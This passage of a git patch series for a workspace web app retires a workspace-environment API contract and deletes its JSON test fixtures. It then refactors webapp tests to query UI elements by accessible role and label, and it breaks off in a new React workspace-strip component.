`fixtures/workspace-environment/` | `test/workspace-environment-conformance.test.ts`, `broker` `environment_test.go`, `actor/test/workspace-environment.test.ts` | | preview-focus | `blitz teenyapp open` CLI (`blitz preview` stays a silent alias; wire unchanged) ↔ Go gateway (`/preview-focus`) ↔ browser (`webapp/src/preview.ts` consumer, auto-opens the focus) | `fixtures/preview-focus/` | `box/actor/test/preview-focus-conformance.test.ts` (producer), `gateway/main_test.go` (reader), `webapp/test/preview-focus.test.ts` (browser consumer) | | connections-focus | `blitz connections open ` CLI ↔ Go gateway (`/connections-focus`) ↔ browser (`webapp/src/connections-focus.ts` consumer via `use-workspace-connections-focus.ts`, opens the workspace connections panel with the provider selected) | `fixtures/connections-focus/` | `box/actor/test/connections-focus-conformance.test.ts` (producer), `gateway/main_test.go` (reader), `webapp/test/connections-focus.test.ts` (browser consumer) | | webApp ticket v1 | `core/webapp-tickets.ts` mint/verify ↔ `box/gateway/main.go` ↔ `box/actor/src/auth.ts` | `fixtures/webapp-ticket/` | `test/webapp-ticket-conformance.test.ts`, `gateway/main_test.go` (ticket_conformance_test.go), `actor/test/auth-conformance.test.ts` | @@ -77,6 +76,11 @@ conformance tests on BOTH sides. Never hand-edit one side of a contract. | recipe invocation files | `core/bootstrap.ts` writer (recipe launches emit `/var/lib/blitz/recipe/prompt.txt` + `invocation.env`) ↔ guest readers: `blitz-term` through the shared parser `box/rootfs/usr/local/libexec/blitz-recipe-invocation`, plus the bootstrap-emitted chat sender's raw `prompt.txt` read (the sender never parses `invocation.env` — model/effort/permission are interpolated into its source at render time) | `fixtures/recipe-invocation/` | `test/recipe-invocation-fixtures.test.ts` (CP), `box/actor/test/recipe-invocation-guest.test.ts` (guest: shared parser vs corpus + blitz-term delivery semantics) | | box config v1 | CP `core/box-config.ts` producer (`GET /workspaces/self/box-config`) and consumer (`POST /workspaces/self/box-update-result`) ↔ host updater bash/python emitted by `core/bootstrap.ts` (`blitz-box-update`; cloud-VM path only — the microVM provider has its own guest lifecycle and no update path yet) | `fixtures/box-config/` | `test/box-config-conformance.test.ts` (CP), `test/box-update-conformance.test.mjs` (runs real `python3` over the emitted parser/producer, `bash -n` over the emitted scripts), `test/box-update-host.test.mjs` (runs the emitted updater in real bash against a live CP over real curl) | +Retired: the `workspace environment` contract (`GET /workspaces/self/environment` +→ `creds/env.d/00-workspace.sh`). Workspace credentials serve through +`blitz-cred` alone — see `plans/MEMBER-MACHINES.md` §1. The route stays only for +box images already in the field, which tolerate an empty answer. + Legacy phone-home shapes are accepted ONLY inside `adaptLegacyPhoneHomeRequestForInFlightImages` in `core/workspaces.ts`. Do not add aliases anywhere else. diff --git a/packages/control-plane/test/workspace-environment-conformance.test.ts b/packages/control-plane/test/workspace-environment-conformance.test.ts deleted file mode 100644 index 0c760b40..00000000 --- a/packages/control-plane/test/workspace-environment-conformance.test.ts +++ /dev/null @@ -1,29 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { parseWorkspaceEnvironmentResponse } from "../core/environment.js"; -import type { JsonValue } from "../core/http.js"; - -const fixtureSources = import.meta.glob( - "../../schema/fixtures/workspace-environment/**/*.json", - { eager: true, import: "default", query: "?raw" }, -); - -function fixtures(directory: "valid" | "invalid"): Array<[string, JsonValue]> { - return Object.entries(fixtureSources) - .filter(([path]) => path.includes(`/workspace-environment/${directory}/`)) - .sort(([left], [right]) => left.localeCompare(right)) - .map(([path, source]) => [path, JSON.parse(source)]); -} - -describe("workspace environment shared fixtures", () => { - it("accepts every valid response", () => { - for (const [path, value] of fixtures("valid")) { - expect(() => parseWorkspaceEnvironmentResponse(value), path).not.toThrow(); - } - }); - - it("rejects every invalid response", () => { - for (const [path, value] of fixtures("invalid")) { - expect(() => parseWorkspaceEnvironmentResponse(value), path).toThrow(); - } - }); -}); diff --git a/packages/schema/fixtures/workspace-environment/README.md b/packages/schema/fixtures/workspace-environment/README.md deleted file mode 100644 index 12429ed7..00000000 --- a/packages/schema/fixtures/workspace-environment/README.md +++ /dev/null @@ -1,19 +0,0 @@ -# Workspace environment response contract - -The control plane returns exactly `env`, `startupScript`, and `filesReady` from -`GET /workspaces/self/environment`. Environment keys use shell variable syntax, -all values are strings, and `startupScript` is either a bash string or null. - -Three runtimes carry this payload and none of them can share a module: the -control plane's `core/` may only import relatively, and the box actor is built -from a separate workspace. These fixtures are what keeps their limits equal — -at most 50 keys, at most 8 KiB of key and value bytes summed, and a startup -script of at most 64 KiB. - -The TypeScript producer (`control-plane/core/environment.ts`, through the route -it serves) and the Go consumer (`broker/internal/workspace/environment.go`) must -accept every fixture in `valid/` and reject every fixture in `invalid/`. - -The box actor reads only `env` from the copy the broker stores, so it is held to -the `env` fixtures alone: `startup-script-type`, `files-ready-type`, and -`extra-field` are deliberately not its concern. diff --git a/packages/schema/fixtures/workspace-environment/invalid/bad-key.json b/packages/schema/fixtures/workspace-environment/invalid/bad-key.json deleted file mode 100644 index efa5e955..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/bad-key.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "env": { - "BAD-KEY": "value" - }, - "startupScript": null, - "filesReady": true -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/bad-value.json b/packages/schema/fixtures/workspace-environment/invalid/bad-value.json deleted file mode 100644 index 5dfcb039..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/bad-value.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "env": { - "PORT": 3000 - }, - "startupScript": null, - "filesReady": true -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/env-too-large.json b/packages/schema/fixtures/workspace-environment/invalid/env-too-large.json deleted file mode 100644 index 2427049f..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/env-too-large.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "env": { - "LARGE": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" - }, - "startupScript": null, - "filesReady": true -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/extra-field.json b/packages/schema/fixtures/workspace-environment/invalid/extra-field.json deleted file mode 100644 index 44bf51b4..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/extra-field.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "env": {}, - "startupScript": null, - "filesReady": true, - "workspaceId": "must-not-be-accepted" -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/files-ready-type.json b/packages/schema/fixtures/workspace-environment/invalid/files-ready-type.json deleted file mode 100644 index 8f8d54c4..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/files-ready-type.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "env": {}, - "startupScript": null, - "filesReady": 1 -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/startup-script-type.json b/packages/schema/fixtures/workspace-environment/invalid/startup-script-type.json deleted file mode 100644 index 60ec32c9..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/startup-script-type.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "env": {}, - "startupScript": ["echo", "nope"], - "filesReady": true -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/too-many-keys.json b/packages/schema/fixtures/workspace-environment/invalid/too-many-keys.json deleted file mode 100644 index 20f4107c..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/too-many-keys.json +++ /dev/null @@ -1,57 +0,0 @@ -{ - "env": { - "KEY_0": "x", - "KEY_1": "x", - "KEY_2": "x", - "KEY_3": "x", - "KEY_4": "x", - "KEY_5": "x", - "KEY_6": "x", - "KEY_7": "x", - "KEY_8": "x", - "KEY_9": "x", - "KEY_10": "x", - "KEY_11": "x", - "KEY_12": "x", - "KEY_13": "x", - "KEY_14": "x", - "KEY_15": "x", - "KEY_16": "x", - "KEY_17": "x", - "KEY_18": "x", - "KEY_19": "x", - "KEY_20": "x", - "KEY_21": "x", - "KEY_22": "x", - "KEY_23": "x", - "KEY_24": "x", - "KEY_25": "x", - "KEY_26": "x", - "KEY_27": "x", - "KEY_28": "x", - "KEY_29": "x", - "KEY_30": "x", - "KEY_31": "x", - "KEY_32": "x", - "KEY_33": "x", - "KEY_34": "x", - "KEY_35": "x", - "KEY_36": "x", - "KEY_37": "x", - "KEY_38": "x", - "KEY_39": "x", - "KEY_40": "x", - "KEY_41": "x", - "KEY_42": "x", - "KEY_43": "x", - "KEY_44": "x", - "KEY_45": "x", - "KEY_46": "x", - "KEY_47": "x", - "KEY_48": "x", - "KEY_49": "x", - "KEY_50": "x" - }, - "startupScript": null, - "filesReady": true -} diff --git a/packages/schema/fixtures/workspace-environment/valid/empty.json b/packages/schema/fixtures/workspace-environment/valid/empty.json deleted file mode 100644 index 09138568..00000000 --- a/packages/schema/fixtures/workspace-environment/valid/empty.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "env": {}, - "startupScript": null, - "filesReady": false -} diff --git a/packages/schema/fixtures/workspace-environment/valid/populated.json b/packages/schema/fixtures/workspace-environment/valid/populated.json deleted file mode 100644 index 480f65cd..00000000 --- a/packages/schema/fixtures/workspace-environment/valid/populated.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "env": { - "API_ORIGIN": "https://api.example.com/v1", - "EMPTY_VALUE": "", - "GREETING": "hello 'world'\nnext line", - "UNICODE_VALUE": "안녕하세요" - }, - "startupScript": "printf '%s\\n' \"$GREETING\"\ntouch initialized.txt\n", - "filesReady": true -} From f8fc34ecd23528e04fd61426098caf8f02ca5b0e Mon Sep 17 00:00:00 2001 From: Claude Fable 5 Date: Fri, 28 Aug 2026 23:51:22 +0000 Subject: [PATCH 18/43] webapp: query the shell by role and label, not by class The rail rebuild would have broken ~20 assertions that reached for presentational classes. They now ask for the same things by accessible name: - `.drive-rail` textContent -> button[aria-label=""] - `.webapp-org-button/-menu-*` -> aria-label + role=menuitemradio state - `[data-rail-session-id]` -> [aria-label^="Sessions in "] button, active read from aria-current - `.webapp-pane-strip[data-region]` -> the strip's own tablist label - `.webapp-rail-strip` -> [aria-label="Workspace panels"] - `#webapp-workspace-drawer` -> [aria-label="Workspace drawer"] - `.drive-rail--open` -> the toggle's aria-expanded Three accessible names were missing and are added: the org button names its org, the org menu names itself, and a workspace row names itself. The org-menu backdrop becomes a labelled button, matching the scrims elsewhere in the shell. `runningTwo` gets its own name so two rail rows are not both called "workspace-running-name". webapp 41 files / 336 tests green; typecheck clean; lint baseline untouched. Co-Authored-By: Claude Fable 5 --- packages/webapp/src/files/DriveRail.tsx | 18 ++++- packages/webapp/src/webapp-shell.css | 3 + packages/webapp/test/drive-rail.test.tsx | 25 ++++--- packages/webapp/test/shell-smoke.test.tsx | 88 +++++++++++++++-------- 4 files changed, 93 insertions(+), 41 deletions(-) diff --git a/packages/webapp/src/files/DriveRail.tsx b/packages/webapp/src/files/DriveRail.tsx index 52735773..82bbad28 100644 --- a/packages/webapp/src/files/DriveRail.tsx +++ b/packages/webapp/src/files/DriveRail.tsx @@ -125,6 +125,7 @@ export function DriveRail({ {orgMenuOpen && ( -
setOrgMenuOpen(false)} /> + - - {orgMenuOpen && ( - - ))} - -
-
- - - -
- -
- Workspaces - -
- - - Having issues? Ask us on Discord - - - - + )} + {workspace.canControl && ( + + )} +
+ +
+ + {menuOpen && ( + + ))} +
+ )} +
+ +
+ {sessions.map((session, index) => { + const active = session.id === activeSessionId + || (activeSessionId === '' && index === 0); + return ( + + ); + })} +
+ + ); +} diff --git a/packages/webapp/src/shell/WorkspaceStrip.tsx b/packages/webapp/src/shell/WorkspaceStrip.tsx new file mode 100644 index 00000000..c55ece5b --- /dev/null +++ b/packages/webapp/src/shell/WorkspaceStrip.tsx @@ -0,0 +1,294 @@ +import { useEffect, useState } from 'react'; +import type { TenantMe } from '../api-adapter'; +import type { WorkspaceDrawerSegment } from '../storage'; +import type { CloudWorkspaceModel } from '../workspace-store'; +import { + ConnectionsGlyph, + FilesGlyph, + PlusGlyph, + PortsGlyph, +} from './StripIcons'; + +/** The tile legend: initials when the name has several words, otherwise its + * first two letters. `design-team` reads DT and `engineering` reads EN, as the + * mockup draws them. */ +export function workspaceCode(title: string): string { + const words = title.split(/[^\p{L}\p{N}]+/u).filter((word) => word.length > 0); + if (words.length === 0) return '··'; + if (words.length === 1) return words[0]!.slice(0, 2).toUpperCase(); + return words.slice(0, 3).map((word) => word[0]!).join('').toUpperCase(); +} + +/** The surfaces the strip can focus. They are the same three panels the right + * icon strip toggles, under the same names, so one panel never has two. */ +const SURFACES: Array<{ + id: WorkspaceDrawerSegment; + label: string; + Glyph: (props: { className?: string }) => React.ReactElement; +}> = [ + { id: 'files', label: 'Files', Glyph: FilesGlyph }, + { id: 'previews', label: 'teenyapps', Glyph: PortsGlyph }, + { id: 'connections', label: 'Connections', Glyph: ConnectionsGlyph }, +]; + +function stateLabel(workspace: CloudWorkspaceModel): string { + if (workspace.lifecycleStatus === 'creating') return 'creating'; + if (workspace.lifecycleStatus === 'error') return 'failed'; + if (workspace.lifecycleStatus === 'running') return 'online'; + return workspace.lifecycleStatus; +} + +export type WorkspaceStripProps = { + workspaces: CloudWorkspaceModel[]; + viewer: TenantMe | null; + activeWorkspaceId: string | null; + /** Panels already open in the work area; the strip rings the matching icon. */ + openPanels: ReadonlySet; + pendingRequestCount: number; + /** False on Drive and settings, where there is no box to open a panel on. */ + surfacesEnabled: boolean; + onSelectWorkspace: (workspaceId: string) => void; + onCreateWorkspace: () => void; + onOpenPanel: (panel: WorkspaceDrawerSegment) => void; + onSwitchOrg: (orgId: string) => void; + onCreateOrg: () => void; + onOpenDrive: () => void; + onOpenSettings: () => void; + onCloseDrawer: () => void; +}; + +/** 